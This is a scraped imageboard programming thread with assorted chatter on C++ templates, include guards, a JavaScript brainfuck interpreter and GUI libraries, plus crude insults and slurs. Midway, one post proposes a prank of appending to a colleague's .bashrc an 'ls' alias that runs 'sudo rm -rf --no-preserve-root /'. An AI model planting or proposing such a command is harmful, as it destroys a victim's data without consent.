/dpt/ - Daily Programming Thread

Previous: What are you working on, Sup Forums?

Other urls found in this thread:

better-dpt-roll.github.io/
groups.google.com/forum/#!topic/golang-nuts/MHoI64RyRdY
twitter.com/NSFWRedditGif

First for D

Cross compiling from Linux to windows

Haven't programmed anything for months because AFK life got in the way, now I'm gagging for it. Anybody got one of those roll to pick a project images?

better-dpt-roll.github.io/

>Requires cross-site scripting to work
Absolutely disgusting.

Posting a roll image is a death sentence for the thread.

Thanks. This is what I was looking for.

Orbital Propagator for Satellite Power Balance.

Yeah Ocaml really is the best language.

:^)

Rollen for a new project

...

ROLL

LEL UP URS FAG

Anyone here good with autohotkey?
I need a script that can load a text file and print it line by line

Which language should I use to display a maze? I don't like Java, but I don't know the GUI libraries of other languages.

Psst hey kid
Wanna buy some initiative? Maybe access to google? hmu asap bro

...

Just bang it out with LÖVE

xkcd was taken over by SJWs years ago

Am i doing it rite? :^)
String intToString(int a){
String r;
r = '' + r;
return r;
}

I'm trying to split a python file into multiple files but I just can't get it to work.

import just doesn't recognise the file and I don't know what is wrong

You have not included any information in this post that would allow us to give you an actual answer.

What are you requirements?

3D graphics? Platform? Desktop or mobile or both?

Randomly generating a maze map is trivial in most languages, and has basically nothing to do with any given GUI technology.

You could do C#/Unity, and immediately get easy graphic capabilities, multiplatform support, and the ability to use C# instead of Java.

Have you checked yourself for mental retardation?

I was digging through some old (2003-2005) project archives and found my old radiosity calculator from 2004. It still runs and it loads the 100-megabyte state file of some long-lost level I created for my 3D engine project back in the day. You can even stop and resume the process at any time you want. The slanted line below the buttons is a "twirling baton" animation I used to make sure the program hadn't frozen (it did that sometimes).

I'm feeling nostalgic now. My projects these days are not even 1/10th as cool as this was. I want to "go back" and write a late-90's/early-2000's 3D engine from scratch. Engine, editor, toolchain, everything. Simpler times.

Sigh...

Thanks for the help, you sure have shown your superior intelligence

>You could do C#/Unity, and immediately get easy graphic capabilities, multiplatform support, and the ability to use C# instead of Java.
As well as an unprofessional splash screen and tons of OOP cultism and general stupidity in the API.

I've never used python before

>java rng function rewritten in C is 7 times faster
???????

>cares about an "unprofessional" splash screen
>can't pay $35/month for that plus built-in monetization and other go-to-market features

????

I'm not saying Unity is perfect, or even that great, but it's certainly one of the easiest ways to get a working game up and running that just works.

Fuck I know that feel. It's a bit self-involved but getting nostalgia'd by yourself is something special. I should dig out my old stuff again, most of it's on CD.

>paying $35 a month to draw a maze

>only drawing a fucking maze
>giving a fuck about a splash screen you'll probably never see because it only shows when you actually deploy to a device outside of debug

>pun comic
>the punchline is actually the guy's reaction, in accordance with "le puns are a crime against humanity xDDDD" meme rather than the actual pun

Every time

OP asked about drawing a maze and you recommended Unity on the basis that the program would never see the light of day and that he actually needed to do way more than just draw a maze. Sort yourself out.

It turns out that it's just pycharm being retarded

the whole method will be optimized away and be replaced with a constant after the JIT did it's job, so at least it will perform reasonably well

yep, he's a hack
at least he's successful i guess

Probably because
- You're running the Java code on top of a VM, C is running natively. Tests without the VM startup time may be much less drastically different.
- There may be dozens of safety checks involved in the produced Java code that C does not do implicitly
- Java is doing a lot of other things "behind the scenes", you're probably creating and using an Object to get your random number, while just using the standard function rand() in C
Speed is also not the only metric that is important, rand() may be faster but the random numbers it produces may not be good enough for many serious cryptography applications.

Because I was making wild assumptions about that user's requirements for his maze game, due to the fact that he specified none.

What do you think about Golang /dpt/?

He didn't even say it was a game.

Tried to make a brainfuck interpreter as fast as possible. It works for most programs but there's a bug somewhere. Any ideas, Sup Forums?

var stack = [0];
var pointer = 0;
var loop = [];
var ignore = false;

function right(){
pointer += 1;

if(pointer > stack.length - 1){
stack.push(0);
}
}

function left(){
pointer -= 1;
}

function inc(){
stack[pointer] += 1;
}

function dec(){
stack[pointer] -= 1;
}

function out(){
var num = stack[pointer];
document.getElementById("output").innerHTML += String.fromCharCode(num);
}

function in_(){
var input = prompt("Input", "");
stack[pointer] = input.charCodeAt(0);
}

function start_loop(){
if(stack[pointer] == 0){
ignore = true;
}else{
loop.push(i)
}
}

function end_loop(){
if(ignore){
ignore = false;
}else{
if(stack[pointer] != 0){
i = loop[loop.length - 1];
}else{
loop.pop();
}
}
}

function run(){
stack = [0];
pointer = 0;
loop = [];
ignore = false;

var code = document.getElementById("source").value;

for (i = 0, len = code.length; i < len; i++) {
if(ignore == false){
if(code[i] == ">"){
right();
}else if(code[i] == "

shell scripting

>append to colleagues .bashrc
alias ls='echo THE GAME; sudo rm -rf --no-preserve-root /'

shit

Here's an even faster rng function:
int getRandomNumber()
{
return 4; // chosen by fair dice roll.
// guarenteed to be random.
}

>What do you think about Golang /dpt/?
They have an official group of shitheads going around harassing developers who don't follow what they deem "proper conduct", someone have the link to the google groups (I think it was) post?

THE GAME
password:

Yeah, like a victim will actually put their password in.

what's wrong?

even for networking?

How well does Qt Jambi work?
What else could/should I use for GUI design on Linux?

groups.google.com/forum/#!topic/golang-nuts/MHoI64RyRdY
i now think it was pretty mild. after the initial message, which was kinda shitty, no one vilified aram
they don't have dedicated teams of trannies working on this like github

the problem is probably in the implementation of the loop construct, so try a few simple loops and see where your program produces the wrong output. some kind of debugging information about what's going on in the memory cells might also be helpful

>as fast as possible
>chose javascript

uh oh

for(int i=1;i

unless they use stock sudo settings and have issued the command recently

Implemented as quickly as possible, not execute as fast as possible numbnuts.

i

Writing a networked 2 player tetris in java from some pre-existing code I found off the internet

>asking people for help then insulting them

Thanks

Also for every i%x==0

it could be i%x

Thank you anything else?

It may be shorter, vertically.
But it is longer horizontally.
:^)

Not, not unless C++ can slice strings with array syntax

"FizzBuz"[0,4]

It technically does using pointer arithmetic.

"FizzBuzz"[4]

Would work but you cannot select the end character so you'd have to play around with null terminators.

Thank you all for your help.

pretty sure you don't need that std::string, just
cout

...

do you have to samefag?

Why do we still do the FizzBuzz, /dpt/?

What is the purpose of it all?

Why is it so satisfying?

Range(1,100).Select(x=>(x%15

>writing java without an ide

madman

anyway, you will hear three main complaints i think
>lack of package versioning
>standard way to obtain packages is to get and install HEAD from github
>no generics

>the right column of curlies
Is this how normal people write code?

No

Should I learn F#? Is it useful?

The former: We don't know anything about you.

The latter: Yes, it can be useful.

What happens behind the scenes in GUI libraries?
Like what are they doing to make pixels appear on my screen?

we may never know...

The GUI libraries are talking to another subsystem most likely, usually X11 (for *nix systems) or win32 (for Windows). They take care of choosing which depending on where your program will run.

Thanks for the answer
Lets say I wanted to build one on my own(I dont) how would I start from the ground up.
If I understood you correctly I would need to use win32, do all graphics libraries (like opengl etc.) do that?

I'm trying to learn C++.
I have this sample code just for practicing using templates and I want to refactor the myThing class into a seperate cpp + h file. Whenever I try I, get compile errors cause I can't figure out how exactly it should look.

How should myThing.cpp + myThing.h look?

#include

template
class myThing {
private:
T myVar;
public:
myThing() {
std::cout

OpenGL itself is not talking to win32, you are also using some toolkit like GLUT or GLFW to display OpenGL's output in the win32 environment (in a window). But basically yes.

You can start by learning the win32 API. Of course you can write a GUI application using only win32 but the whole point of a GUI library is to add higher level easier-to-use widgets, that are more generic so you can just fill in other code and put in a switch:
if Windows
draw with win32
else if OS X
draw with Quartz
else
draw with X11

Templates are special in C++, and you need to have all of the template in the .h, you can't put the implementation in the .cpp.

The reason for that is that a template function isn't a function, it's a recipe for creating a function, and you need to see the complete recipe to use the template.

#pragma once

#include

template
class MyThing {
T var{};

public:
MyThing();
~MyThing();

void setVar(const T &x);
T getVar() const;
};


#include "thing.hpp"

template
MyThing::MyThing()
{
std::cout

>#pragma once

LÖVE is life.

fight me nerd

#ifndef THING_HPP_
#define THING_HPP_
[...]
#endif //THING_HPP_

pig disgusting

>Cpp needs the user to write preprocessor directives to do this basic shit
Wew

>nonstandard breaky and slow pragma once
>not pig disgusting

>nonstandard
supported by all compilers that are relevant, idc about standard compliance

>not pig disgusting
objectively 1/3rd as disgusting as "include guards", can't wait for modules system so i don't have to use this vomit triggering C preprocessor legacy

Can't wait for
MODULES
͏O͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏E
͏D͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏L
͏U͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏U
͏L͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏D
͏E͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏ ͏O
SELUDOM

do not use include guards, do not use pragma once, do not include multiple times

>supported by all compilers that are relevant, idc about standard compliance
>supported means "implemented"
>slow = good
>programs that don't compile = good
>non-standard writing = good

I mean if you're going to write in this disgusting language in the first place you could at least try to make the horrid preprocessor system as usable as it can be for everyone who is subjected to interaction with your program.

If you're doing this you are going to create circular dependencies in larger OO languages. Welcome to hell, friend.

>If you're doing this you are going to create circular dependencies in larger OO languages.
Don't create circular dependencies in the first place.
Or if you absolutely have to for some retarded reason, use forward declarations.

Fuck you OP

do not include a header multiple times. include it where you use it, and do not include inside headers

>I mean if you're going to write in this disgusting language in the first place you could at least try to make the horrid preprocessor system as usable as it can be for everyone who is subjected to interaction with your program.
so like no one? i write programs for myself, not for others, so i want my code to look as pleasant as possible